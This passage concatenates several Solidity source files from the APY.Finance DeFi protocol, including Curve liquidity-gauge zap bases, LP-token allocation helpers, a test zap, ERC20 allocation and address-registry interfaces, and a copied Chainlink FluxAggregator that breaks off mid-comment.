IDetailedERC20 } from "contracts/common/Imports.sol"; import {SafeERC20} from "contracts/libraries/Imports.sol"; import { ILiquidityGauge, ITokenMinter } from "contracts/protocols/curve/common/interfaces/Imports.sol"; import {CurveZapBase} from "contracts/protocols/curve/common/CurveZapBase.sol"; abstract contract CurveGaugeZapBase is IZap, CurveZapBase { using SafeERC20 for IERC20; address internal constant MINTER_ADDRESS = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; address internal immutable LP_ADDRESS; address internal immutable GAUGE_ADDRESS; constructor( address swapAddress, address lpAddress, address gaugeAddress, uint256 denominator, uint256 slippage, uint256 nCoins ) public CurveZapBase(swapAddress, denominator, slippage, nCoins) // solhint-disable-next-line no-empty-blocks { LP_ADDRESS = lpAddress; GAUGE_ADDRESS = gaugeAddress; } function getLpTokenBalance(address account) external view override returns (uint256) { return ILiquidityGauge(GAUGE_ADDRESS).balanceOf(account); } function _depositToGauge() internal override { ILiquidityGauge liquidityGauge = ILiquidityGauge(GAUGE_ADDRESS); uint256 lpBalance = IERC20(LP_ADDRESS).balanceOf(address(this)); IERC20(LP_ADDRESS).safeApprove(GAUGE_ADDRESS, 0); IERC20(LP_ADDRESS).safeApprove(GAUGE_ADDRESS, lpBalance); liquidityGauge.deposit(lpBalance); } function _withdrawFromGauge(uint256 amount) internal override returns (uint256) { ILiquidityGauge liquidityGauge = ILiquidityGauge(GAUGE_ADDRESS); liquidityGauge.withdraw(amount); //lpBalance return IERC20(LP_ADDRESS).balanceOf(address(this)); } function _claim() internal override { // claim CRV ITokenMinter(MINTER_ADDRESS).mint(GAUGE_ADDRESS); // claim protocol-specific rewards _claimRewards(); } // solhint-disable-next-line no-empty-blocks function _claimRewards() internal virtual {} } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath, SafeERC20} from "contracts/libraries/Imports.sol"; import {IZap} from "contracts/lpaccount/Imports.sol"; import { IAssetAllocation, IDetailedERC20, IERC20 } from "contracts/common/Imports.sol"; import { Curve3poolUnderlyerConstants } from "contracts/protocols/curve/3pool/Constants.sol"; abstract contract CurveZapBase is Curve3poolUnderlyerConstants, IZap { using SafeMath for uint256; using SafeERC20 for IERC20; address internal constant CRV_ADDRESS = 0xD533a949740bb3306d119CC777fa900bA034cd52; address internal immutable SWAP_ADDRESS; uint256 internal immutable DENOMINATOR; uint256 internal immutable SLIPPAGE; uint256 internal immutable N_COINS; constructor( address swapAddress, uint256 denominator, uint256 slippage, uint256 nCoins ) public { SWAP_ADDRESS = swapAddress; DENOMINATOR = denominator; SLIPPAGE = slippage; N_COINS = nCoins; } /// @param amounts array of underlyer amounts function deployLiquidity(uint256[] calldata amounts) external override { require(amounts.length == N_COINS, "INVALID_AMOUNTS"); uint256 totalNormalizedDeposit = 0; for (uint256 i = 0; i < amounts.length; i++) { if (amounts[i] == 0) continue; uint256 deposit = amounts[i]; address underlyerAddress = _getCoinAtIndex(i); uint8 decimals = IDetailedERC20(underlyerAddress).decimals(); uint256 normalizedDeposit = deposit.mul(10**uint256(18)).div(10**uint256(decimals)); totalNormalizedDeposit = totalNormalizedDeposit.add( normalizedDeposit ); IERC20(underlyerAddress).safeApprove(SWAP_ADDRESS, 0); IERC20(underlyerAddress).safeApprove(SWAP_ADDRESS, amounts[i]); } uint256 minAmount = _calcMinAmount(totalNormalizedDeposit, _getVirtualPrice()); _addLiquidity(amounts, minAmount); _depositToGauge(); } /** * @param amount LP token amount * @param index underlyer index */ function unwindLiquidity(uint256 amount, uint8 index) external override { require(index < N_COINS, "INVALID_INDEX"); uint256 lpBalance = _withdrawFromGauge(amount); address underlyerAddress = _getCoinAtIndex(index); uint8 decimals = IDetailedERC20(underlyerAddress).decimals(); uint256 minAmount = _calcMinAmountUnderlyer(lpBalance, _getVirtualPrice(), decimals); _removeLiquidity(lpBalance, index, minAmount); } function claim() external override { _claim(); } function sortedSymbols() public view override returns (string[] memory) { // N_COINS is not available as a public function // so we have to hardcode the number here string[] memory symbols = new string[](N_COINS); for (uint256 i = 0; i < symbols.length; i++) { address underlyerAddress = _getCoinAtIndex(i); symbols[i] = IDetailedERC20(underlyerAddress).symbol(); } return symbols; } function _getVirtualPrice() internal view virtual returns (uint256); function _getCoinAtIndex(uint256 i) internal view virtual returns (address); function _addLiquidity(uint256[] calldata amounts_, uint256 minAmount) internal virtual; function _removeLiquidity( uint256 lpBalance, uint8 index, uint256 minAmount ) internal virtual; function _depositToGauge() internal virtual; function _withdrawFromGauge(uint256 amount) internal virtual returns (uint256); function _claim() internal virtual; /** * @dev normalizedDepositAmount the amount in same units as virtual price (18 decimals) * @dev virtualPrice the "price", in 18 decimals, per big token unit of the LP token * @return required minimum amount of LP token (in token wei) */ function _calcMinAmount( uint256 normalizedDepositAmount, uint256 virtualPrice ) internal view returns (uint256) { uint256 idealLpTokenAmount = normalizedDepositAmount.mul(1e18).div(virtualPrice); // allow some slippage/MEV return idealLpTokenAmount.mul(DENOMINATOR.sub(SLIPPAGE)).div(DENOMINATOR); } /** * @param lpTokenAmount the amount in the same units as Curve LP token (18 decimals) * @param virtualPrice the "price", in 18 decimals, per big token unit of the LP token * @param decimals the number of decimals for underlyer token * @return required minimum amount of underlyer (in token wei) */ function _calcMinAmountUnderlyer( uint256 lpTokenAmount, uint256 virtualPrice, uint8 decimals ) internal view returns (uint256) { // TODO: grab LP Token decimals explicitly? uint256 normalizedUnderlyerAmount = lpTokenAmount.mul(virtualPrice).div(1e18); uint256 underlyerAmount = normalizedUnderlyerAmount.mul(10**uint256(decimals)).div( 10**uint256(18) ); // allow some slippage/MEV return underlyerAmount.mul(DENOMINATOR.sub(SLIPPAGE)).div(DENOMINATOR); } function _createErc20AllocationArray(uint256 extraAllocations) internal pure returns (IERC20[] memory) { IERC20[] memory allocations = new IERC20[](extraAllocations.add(4)); allocations[0] = IERC20(CRV_ADDRESS); allocations[1] = IERC20(DAI_ADDRESS); allocations[2] = IERC20(USDC_ADDRESS); allocations[3] = IERC20(USDT_ADDRESS); return allocations; } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath} from "contracts/libraries/Imports.sol"; import {IERC20} from "contracts/common/Imports.sol"; import {ImmutableAssetAllocation} from "contracts/tvl/Imports.sol"; import { IOldStableSwap2, ILiquidityGauge } from "contracts/protocols/curve/common/interfaces/Imports.sol"; /** * @title Periphery Contract for the Curve 3pool * @author APY.Finance * @notice This contract enables the APY.Finance system to retrieve the balance * of an underlyer of a Curve LP token. The balance is used as part * of the Chainlink computation of the deployed TVL. The primary * `getUnderlyerBalance` function is invoked indirectly when a * Chainlink node calls `balanceOf` on the APYAssetAllocationRegistry. */ contract OldCurveAllocationBase2 { using SafeMath for uint256; /** * @notice Returns the balance of an underlying token represented by * an account's LP token balance. * @param stableSwap the liquidity pool comprised of multiple underlyers * @param gauge the staking contract for the LP tokens * @param lpToken the LP token representing the share of the pool * @param coin the index indicating which underlyer * @return balance */ function getUnderlyerBalance( address account, IOldStableSwap2 stableSwap, ILiquidityGauge gauge, IERC20 lpToken, int128 coin ) public view returns (uint256 balance) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); uint256 poolBalance = getPoolBalance(stableSwap, coin); (uint256 lpTokenBalance, uint256 lpTokenSupply) = getLpTokenShare(account, stableSwap, gauge, lpToken); balance = lpTokenBalance.mul(poolBalance).div(lpTokenSupply); } function getPoolBalance(IOldStableSwap2 stableSwap, int128 coin) public view returns (uint256) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); return stableSwap.balances(coin); } function getLpTokenShare( address account, IOldStableSwap2 stableSwap, ILiquidityGauge gauge, IERC20 lpToken ) public view returns (uint256 balance, uint256 totalSupply) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); totalSupply = lpToken.totalSupply(); balance = lpToken.balanceOf(account); balance = balance.add(gauge.balanceOf(account)); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath} from "contracts/libraries/Imports.sol"; import {IERC20} from "contracts/common/Imports.sol"; import {ImmutableAssetAllocation} from "contracts/tvl/Imports.sol"; import {IOldStableSwap3, ILiquidityGauge} from "contracts/protocols/curve/common/interfaces/Imports.sol"; /** * @title Periphery Contract for the Curve 3pool * @author APY.Finance * @notice This contract enables the APY.Finance system to retrieve the balance * of an underlyer of a Curve LP token. The balance is used as part * of the Chainlink computation of the deployed TVL. The primary * `getUnderlyerBalance` function is invoked indirectly when a * Chainlink node calls `balanceOf` on the APYAssetAllocationRegistry. */ contract OldCurveAllocationBase3 { using SafeMath for uint256; /** * @notice Returns the balance of an underlying token represented by * an account's LP token balance. * @param stableSwap the liquidity pool comprised of multiple underlyers * @param gauge the staking contract for the LP tokens * @param lpToken the LP token representing the share of the pool * @param coin the index indicating which underlyer * @return balance */ function getUnderlyerBalance( address account, IOldStableSwap3 stableSwap, ILiquidityGauge gauge, IERC20 lpToken, int128 coin ) public view returns (uint256 balance) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); uint256 poolBalance = getPoolBalance(stableSwap, coin); (uint256 lpTokenBalance, uint256 lpTokenSupply) = getLpTokenShare( account, stableSwap, gauge, lpToken ); balance = lpTokenBalance.mul(poolBalance).div(lpTokenSupply); } function getPoolBalance(IOldStableSwap3 stableSwap, int128 coin) public view returns (uint256) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); return stableSwap.balances(coin); } function getLpTokenShare( address account, IOldStableSwap3 stableSwap, ILiquidityGauge gauge, IERC20 lpToken ) public view returns (uint256 balance, uint256 totalSupply) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); totalSupply = lpToken.totalSupply(); balance = lpToken.balanceOf(account); balance = balance.add(gauge.balanceOf(account)); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath} from "contracts/libraries/Imports.sol"; import {IERC20} from "contracts/common/Imports.sol"; import {ImmutableAssetAllocation} from "contracts/tvl/Imports.sol"; import { IOldStableSwap4, ILiquidityGauge } from "contracts/protocols/curve/common/interfaces/Imports.sol"; /** * @title Periphery Contract for the Curve 3pool * @author APY.Finance * @notice This contract enables the APY.Finance system to retrieve the balance * of an underlyer of a Curve LP token. The balance is used as part * of the Chainlink computation of the deployed TVL. The primary * `getUnderlyerBalance` function is invoked indirectly when a * Chainlink node calls `balanceOf` on the APYAssetAllocationRegistry. */ contract OldCurveAllocationBase4 { using SafeMath for uint256; /** * @notice Returns the balance of an underlying token represented by * an account's LP token balance. * @param stableSwap the liquidity pool comprised of multiple underlyers * @param gauge the staking contract for the LP tokens * @param lpToken the LP token representing the share of the pool * @param coin the index indicating which underlyer * @return balance */ function getUnderlyerBalance( address account, IOldStableSwap4 stableSwap, ILiquidityGauge gauge, IERC20 lpToken, int128 coin ) public view returns (uint256 balance) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); uint256 poolBalance = getPoolBalance(stableSwap, coin); (uint256 lpTokenBalance, uint256 lpTokenSupply) = getLpTokenShare(account, stableSwap, gauge, lpToken); balance = lpTokenBalance.mul(poolBalance).div(lpTokenSupply); } function getPoolBalance(IOldStableSwap4 stableSwap, int128 coin) public view returns (uint256) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); return stableSwap.balances(coin); } function getLpTokenShare( address account, IOldStableSwap4 stableSwap, ILiquidityGauge gauge, IERC20 lpToken ) public view returns (uint256 balance, uint256 totalSupply) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); totalSupply = lpToken.totalSupply(); balance = lpToken.balanceOf(account); balance = balance.add(gauge.balanceOf(account)); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IAssetAllocation} from "contracts/common/Imports.sol"; import { CurveGaugeZapBase } from "contracts/protocols/curve/common/CurveGaugeZapBase.sol"; contract TestCurveZap is CurveGaugeZapBase { string public constant override NAME = "TestCurveZap"; address[] private _underlyers; constructor( address swapAddress, address lpTokenAddress, address liquidityGaugeAddress, uint256 denominator, uint256 slippage, uint256 numOfCoins ) public CurveGaugeZapBase( swapAddress, lpTokenAddress, liquidityGaugeAddress, denominator, slippage, numOfCoins ) // solhint-disable-next-line no-empty-blocks {} function setUnderlyers(address[] calldata underlyers) external { _underlyers = underlyers; } function getSwapAddress() external view returns (address) { return SWAP_ADDRESS; } function getLpTokenAddress() external view returns (address) { return address(LP_ADDRESS); } function getGaugeAddress() external view returns (address) { return GAUGE_ADDRESS; } function getDenominator() external view returns (uint256) { return DENOMINATOR; } function getSlippage() external view returns (uint256) { return SLIPPAGE; } function getNumberOfCoins() external view returns (uint256) { return N_COINS; } function calcMinAmount(uint256 totalAmount, uint256 virtualPrice) external view returns (uint256) { return _calcMinAmount(totalAmount, virtualPrice); } function calcMinAmountUnderlyer( uint256 totalAmount, uint256 virtualPrice, uint8 decimals ) external view returns (uint256) { return _calcMinAmountUnderlyer(totalAmount, virtualPrice, decimals); } function assetAllocations() public view override returns (string[] memory) { string[] memory allocationNames = new string[](1); return allocationNames; } function erc20Allocations() public view override returns (IERC20[] memory) { IERC20[] memory allocations = new IERC20[](0); return allocations; } function _getVirtualPrice() internal view override returns (uint256) { return 1; } function _getCoinAtIndex(uint256 i) internal view override returns (address) { return _underlyers[i]; } function _addLiquidity(uint256[] calldata amounts, uint256 minAmount) internal override // solhint-disable-next-line no-empty-blocks { } function _removeLiquidity( uint256 lpBalance, uint8 index, uint256 minAmount // solhint-disable-next-line no-empty-blocks ) internal override {} } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IErc20Allocation} from "./IErc20Allocation.sol"; import {IChainlinkRegistry} from "./IChainlinkRegistry.sol"; import {IAssetAllocationRegistry} from "./IAssetAllocationRegistry.sol"; import {AssetAllocationBase} from "./AssetAllocationBase.sol"; import {ImmutableAssetAllocation} from "./ImmutableAssetAllocation.sol"; import {Erc20AllocationConstants} from "./Erc20Allocation.sol"; // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IERC20, IDetailedERC20} from "contracts/common/Imports.sol"; /** * @notice An asset allocation for tokens not stored in a protocol * @dev `IZap`s and `ISwap`s register these separate from other allocations * @dev Unlike other asset allocations, new tokens can be added or removed * @dev Registration can override `symbol` and `decimals` manually because * they are optional in the ERC20 standard. */ interface IErc20Allocation { /** @notice Log when an ERC20 allocation is registered */ event Erc20TokenRegistered(IERC20 token, string symbol, uint8 decimals); /** @notice Log when an ERC20 allocation is removed */ event Erc20TokenRemoved(IERC20 token); /** * @notice Add a new ERC20 token to the asset allocation * @dev Should not allow duplicate tokens * @param token The new token */ function registerErc20Token(IDetailedERC20 token) external; /** * @notice Add a new ERC20 token to the asset allocation * @dev Should not allow duplicate tokens * @param token The new token * @param symbol Override the token symbol */ function registerErc20Token(IDetailedERC20 token, string calldata symbol) external; /** * @notice Add a new ERC20 token to the asset allocation * @dev Should not allow duplicate tokens * @param token The new token * @param symbol Override the token symbol * @param decimals Override the token decimals */ function registerErc20Token( IERC20 token, string calldata symbol, uint8 decimals ) external; /** * @notice Remove an ERC20 token from the asset allocation * @param token The token to remove */ function removeErc20Token(IERC20 token) external; /** * @notice Check if an ERC20 token is registered * @param token The token to check * @return `true` if the token is registered, `false` otherwise */ function isErc20TokenRegistered(IERC20 token) external view returns (bool); /** * @notice Check if multiple ERC20 tokens are ALL registered * @param tokens An array of tokens to check * @return `true` if every token is registered, `false` otherwise */ function isErc20TokenRegistered(IERC20[] calldata tokens) external view returns (bool); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; /** * @notice Interface used by Chainlink to aggregate allocations and compute TVL */ interface IChainlinkRegistry { /** * @notice Get all IDs from registered asset allocations * @notice Each ID is a unique asset allocation and token index pair * @dev Should contain no duplicate IDs * @return list of all IDs */ function getAssetAllocationIds() external view returns (bytes32[] memory); /** * @notice Get the LP Account's balance for an asset allocation ID * @param allocationId The ID to fetch the balance for * @return The balance for the LP Account */ function balanceOf(bytes32 allocationId) external view returns (uint256); /** * @notice Get the symbol for an allocation ID's underlying token * @param allocationId The ID to fetch the symbol for * @return The underlying token symbol */ function symbolOf(bytes32 allocationId) external view returns (string memory); /** * @notice Get the decimals for an allocation ID's underlying token * @param allocationId The ID to fetch the decimals for * @return The underlying token decimals */ function decimalsOf(bytes32 allocationId) external view returns (uint256); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {IAssetAllocation} from "contracts/common/Imports.sol"; /** * @notice For managing a collection of `IAssetAllocation` contracts */ interface IAssetAllocationRegistry { /** @notice Log when an asset allocation is registered */ event AssetAllocationRegistered(IAssetAllocation assetAllocation); /** @notice Log when an asset allocation is removed */ event AssetAllocationRemoved(string name); /** * @notice Add a new asset allocation to the registry * @dev Should not allow duplicate asset allocations * @param assetAllocation The new asset allocation */ function registerAssetAllocation(IAssetAllocation assetAllocation) external; /** * @notice Remove an asset allocation from the registry * @param name The name of the asset allocation (see `INameIdentifier`) */ function removeAssetAllocation(string memory name) external; /** * @notice Check if multiple asset allocations are ALL registered * @param allocationNames An array of asset allocation names * @return `true` if every allocation is registered, otherwise `false` */ function isAssetAllocationRegistered(string[] calldata allocationNames) external view returns (bool); /** * @notice Get the registered asset allocation with a given name * @param name The asset allocation name * @return The asset allocation */ function getAssetAllocation(string calldata name) external view returns (IAssetAllocation); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {IAssetAllocation} from "contracts/common/Imports.sol"; abstract contract AssetAllocationBase is IAssetAllocation { function numberOfTokens() external view override returns (uint256) { return tokens().length; } function symbolOf(uint8 tokenIndex) public view override returns (string memory) { return tokens()[tokenIndex].symbol; } function decimalsOf(uint8 tokenIndex) public view override returns (uint8) { return tokens()[tokenIndex].decimals; } function addressOf(uint8 tokenIndex) public view returns (address) { return tokens()[tokenIndex].token; } function tokens() public view virtual override returns (TokenData[] memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {Address} from "contracts/libraries/Imports.sol"; import {AssetAllocationBase} from "./AssetAllocationBase.sol"; /** * @notice Asset allocation with underlying tokens that cannot be added/removed */ abstract contract ImmutableAssetAllocation is AssetAllocationBase { using Address for address; constructor() public { _validateTokens(_getTokenData()); } function tokens() public view override returns (TokenData[] memory) { TokenData[] memory tokens_ = _getTokenData(); return tokens_; } /** * @notice Verifies that a `TokenData` array works with the `TvlManager` * @dev Reverts when there is invalid `TokenData` * @param tokens_ The array of `TokenData` */ function _validateTokens(TokenData[] memory tokens_) internal view virtual { // length restriction due to encoding logic for allocation IDs require(tokens_.length < type(uint8).max, "TOO_MANY_TOKENS"); for (uint256 i = 0; i < tokens_.length; i++) { address token = tokens_[i].token; _validateTokenAddress(token); string memory symbol = tokens_[i].symbol; require(bytes(symbol).length != 0, "INVALID_SYMBOL"); } // TODO: check for duplicate tokens } /** * @notice Verify that a token is a contract * @param token The token to verify */ function _validateTokenAddress(address token) internal view virtual { require(token.isContract(), "INVALID_ADDRESS"); } /** * @notice Get the immutable array of underlying `TokenData` * @dev Should be implemented in child contracts with a hardcoded array * @return The array of `TokenData` */ function _getTokenData() internal pure virtual returns (TokenData[] memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import { IERC20, IDetailedERC20, AccessControl, INameIdentifier, ReentrancyGuard } from "contracts/common/Imports.sol"; import {Address, EnumerableSet} from "contracts/libraries/Imports.sol"; import {IAddressRegistryV2} from "contracts/registry/Imports.sol"; import {ILockingOracle} from "contracts/oracle/Imports.sol"; import {IErc20Allocation} from "./IErc20Allocation.sol"; import {AssetAllocationBase} from "./AssetAllocationBase.sol"; abstract contract Erc20AllocationConstants is INameIdentifier { string public constant override NAME = "erc20Allocation"; } contract Erc20Allocation is IErc20Allocation, AssetAllocationBase, Erc20AllocationConstants, AccessControl, ReentrancyGuard { using Address for address; using EnumerableSet for EnumerableSet.AddressSet; IAddressRegistryV2 public addressRegistry; EnumerableSet.AddressSet private _tokenAddresses; mapping(address => TokenData) private _tokenToData; /** @notice Log when the address registry is changed */ event AddressRegistryChanged(address); constructor(address addressRegistry_) public { _setAddressRegistry(addressRegistry_); _setupRole(DEFAULT_ADMIN_ROLE, addressRegistry.emergencySafeAddress()); _setupRole(EMERGENCY_ROLE, addressRegistry.emergencySafeAddress()); _setupRole(ADMIN_ROLE, addressRegistry.adminSafeAddress()); _setupRole(CONTRACT_ROLE, addressRegistry.mAptAddress()); } /** * @notice Set the new address registry * @param addressRegistry_ The new address registry */ function emergencySetAddressRegistry(address addressRegistry_) external nonReentrant onlyEmergencyRole { _setAddressRegistry(addressRegistry_); } function registerErc20Token(IDetailedERC20 token) external override nonReentrant onlyAdminOrContractRole { string memory symbol = token.symbol(); uint8 decimals = token.decimals(); _registerErc20Token(token, symbol, decimals); } function registerErc20Token(IDetailedERC20 token, string calldata symbol) external override nonReentrant onlyAdminRole { uint8 decimals = token.decimals(); _registerErc20Token(token, symbol, decimals); } function registerErc20Token( IERC20 token, string calldata symbol, uint8 decimals ) external override nonReentrant onlyAdminRole { _registerErc20Token(token, symbol, decimals); } function removeErc20Token(IERC20 token) external override nonReentrant onlyAdminRole { _tokenAddresses.remove(address(token)); delete _tokenToData[address(token)]; _lockOracleAdapter(); emit Erc20TokenRemoved(token); } function isErc20TokenRegistered(IERC20 token) external view override returns (bool) { return _tokenAddresses.contains(address(token)); } function isErc20TokenRegistered(IERC20[] calldata tokens) external view override returns (bool) { uint256 length = tokens.length; for (uint256 i = 0; i < length; i++) { if (!_tokenAddresses.contains(address(tokens[i]))) { return false; } } return true; } function balanceOf(address account, uint8 tokenIndex) external view override returns (uint256) { address token = addressOf(tokenIndex); return IERC20(token).balanceOf(account); } function tokens() public view override returns (TokenData[] memory) { TokenData[] memory _tokens = new TokenData[](_tokenAddresses.length()); for (uint256 i = 0; i < _tokens.length; i++) { address tokenAddress = _tokenAddresses.at(i); _tokens[i] = _tokenToData[tokenAddress]; } return _tokens; } function _setAddressRegistry(address addressRegistry_) internal { require(addressRegistry_.isContract(), "INVALID_ADDRESS"); addressRegistry = IAddressRegistryV2(addressRegistry_); emit AddressRegistryChanged(addressRegistry_); } function _registerErc20Token( IERC20 token, string memory symbol, uint8 decimals ) internal { require(address(token).isContract(), "INVALID_ADDRESS"); require(bytes(symbol).length != 0, "INVALID_SYMBOL"); _tokenAddresses.add(address(token)); _tokenToData[address(token)] = TokenData( address(token), symbol, decimals ); _lockOracleAdapter(); emit Erc20TokenRegistered(token, symbol, decimals); } /** * @notice Lock the `OracleAdapter` for the default period of time * @dev Locking protects against front-running while Chainlink updates */ function _lockOracleAdapter() internal { ILockingOracle oracleAdapter = ILockingOracle(addressRegistry.oracleAdapterAddress()); oracleAdapter.lock(); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IAddressRegistryV2} from "./IAddressRegistryV2.sol"; // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {AggregatorV3Interface, FluxAggregator} from "./FluxAggregator.sol"; import {IOracleAdapter} from "./IOracleAdapter.sol"; import {IOverrideOracle} from "./IOverrideOracle.sol"; import {ILockingOracle} from "./ILockingOracle.sol"; // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; /** * @notice The address registry has two important purposes, one which * is fairly concrete and another abstract. * * 1. The registry enables components of the APY.Finance system * and external systems to retrieve core addresses reliably * even when the functionality may move to a different * address. * * 2. The registry also makes explicit which contracts serve * as primary entrypoints for interacting with different * components. Not every contract is registered here, only * the ones properly deserving of an identifier. This helps * define explicit boundaries between groups of contracts, * each of which is logically cohesive. */ interface IAddressRegistryV2 { /** * @notice Log when a new address is registered * @param id The ID of the new address * @param _address The new address */ event AddressRegistered(bytes32 id, address _address); /** * @notice Log when an address is removed from the registry * @param id The ID of the address * @param _address The address */ event AddressDeleted(bytes32 id, address _address); /** * @notice Register address with identifier * @dev Using an existing ID will replace the old address with new * @dev Currently there is no way to remove an ID, as attempting to * register the zero address will revert. */ function registerAddress(bytes32 id, address address_) external; /** * @notice Registers multiple address at once * @dev Convenient method to register multiple addresses at once. * @param ids Ids to register addresses under * @param addresses Addresses to register */ function registerMultipleAddresses( bytes32[] calldata ids, address[] calldata addresses ) external; /** * @notice Removes a registered id and it's associated address * @dev Delete the address corresponding to the identifier Time-complexity is O(n) where n is the length of `_idList`. * @param id ID to remove along with it's associated address */ function deleteAddress(bytes32 id) external; /** * @notice Returns the list of all registered identifiers. * @return List of identifiers */ function getIds() external view returns (bytes32[] memory); /** * @notice Returns the list of all registered identifiers * @param id Component identifier * @return The current address represented by an identifier */ function getAddress(bytes32 id) external view returns (address); /** * @notice Returns the TVL Manager Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return TVL Manager Address */ function tvlManagerAddress() external view returns (address); /** * @notice Returns the Chainlink Registry Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return Chainlink Registry Address */ function chainlinkRegistryAddress() external view returns (address); /** * @notice Returns the DAI Pool Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return DAI Pool Address */ function daiPoolAddress() external view returns (address); /** * @notice Returns the USDC Pool Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return USDC Pool Address */ function usdcPoolAddress() external view returns (address); /** * @notice Returns the USDT Pool Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return USDT Pool Address */ function usdtPoolAddress() external view returns (address); /** * @notice Returns the MAPT Pool Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return MAPT Pool Address */ function mAptAddress() external view returns (address); /** * @notice Returns the LP Account Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return LP Account Address */ function lpAccountAddress() external view returns (address); /** * @notice Returns the LP Safe Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return LP Safe Address */ function lpSafeAddress() external view returns (address); /** * @notice Returns the Admin Safe Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return Admin Safe Address */ function adminSafeAddress() external view returns (address); /** * @notice Returns the Emergency Safe Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return Emergency Safe Address */ function emergencySafeAddress() external view returns (address); /** * @notice Returns the Oracle Adapter Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return Oracle Adapter Address */ function oracleAdapterAddress() external view returns (address); /** * @notice Returns the ERC20 Allocation Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return ERC20 Allocation Address */ function erc20AllocationAddress() external view returns (address); } /** SPDX-License-Identifier: UNLICENSED ---------------------------------- ---- APY.Finance comments -------- ---------------------------------- Due to pragma being fixed at 0.6.6, we had to copy over this contract and fix the imports. original path: @chainlink/contracts/src/v0.6/FluxAggregator.sol npm package version: 0.0.9 */ pragma solidity 0.6.11; import "@chainlink/contracts/src/v0.6/Median.sol"; import "@chainlink/contracts/src/v0.6/Owned.sol"; import "@chainlink/contracts/src/v0.6/SafeMath128.sol"; import "@chainlink/contracts/src/v0.6/SafeMath32.sol"; import "@chainlink/contracts/src/v0.6/SafeMath64.sol"; import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV2V3Interface.sol"; import "@chainlink/contracts/src/v0.6/interfaces/AggregatorValidatorInterface.sol"; import "@chainlink/contracts/src/v0.6/interfaces/LinkTokenInterface.sol"; import "@chainlink/contracts/src/v0.6/vendor/SafeMath.sol"; /* solhint-disable */ /** * @title The Prepaid Aggregator contract * @notice Handles aggregating data pushed in from off-chain, and unlocks * payment for oracles as they report. Oracles' submissions are gathered in * rounds, with each round aggregating the submissions for each oracle into a * single answer. The latest aggregated answer is exposed as well as historical * answers and their updated at timestamp. */ contract FluxAggregator is AggregatorV2V3Interface, Owned { using SafeMath for uint256; using SafeMath128 for uint128; using SafeMath64 for uint64; using SafeMath32 for uint32; struct Round { int256 answer; uint64 startedAt; uint64 updatedAt; uint32 answeredInRound; } struct RoundDetails { int256[] submissions; uint32 maxSubmissions; uint32 minSubmissions; uint32 timeout; uint128 paymentAmount; } struct OracleStatus { uint128 withdrawable; uint32 startingRound; uint32 endingRound; uint32 lastReportedRound; uint32 lastStartedRound; int256 latestSubmission; uint16 index; address admin; address pendingAdmin; } struct Requester { bool authorized; uint32 delay; uint32 lastStartedRound; } struct Funds { uint128 available; uint128 allocated; } LinkTokenInterface public linkToken; AggregatorValidatorInterface public validator; // Round related params uint128 public paymentAmount; uint32 public maxSubmissionCount; uint32 public minSubmissionCount; uint32 public restartDelay; uint32 public timeout; uint8 public override decimals; string public override description; int256 public immutable minSubmissionValue; int256 public immutable maxSubmissionValue; uint256 public constant override version = 3; /** * @notice To ensure owner isn't withdrawing required funds as oracles are * submitting updates, we enforce that the contract maintains a minimum * reserve of RESERVE_ROUNDS * oracleCount() LINK earmarked for payment to * oracles. (Of course, this doesn't prevent the contract from running out of 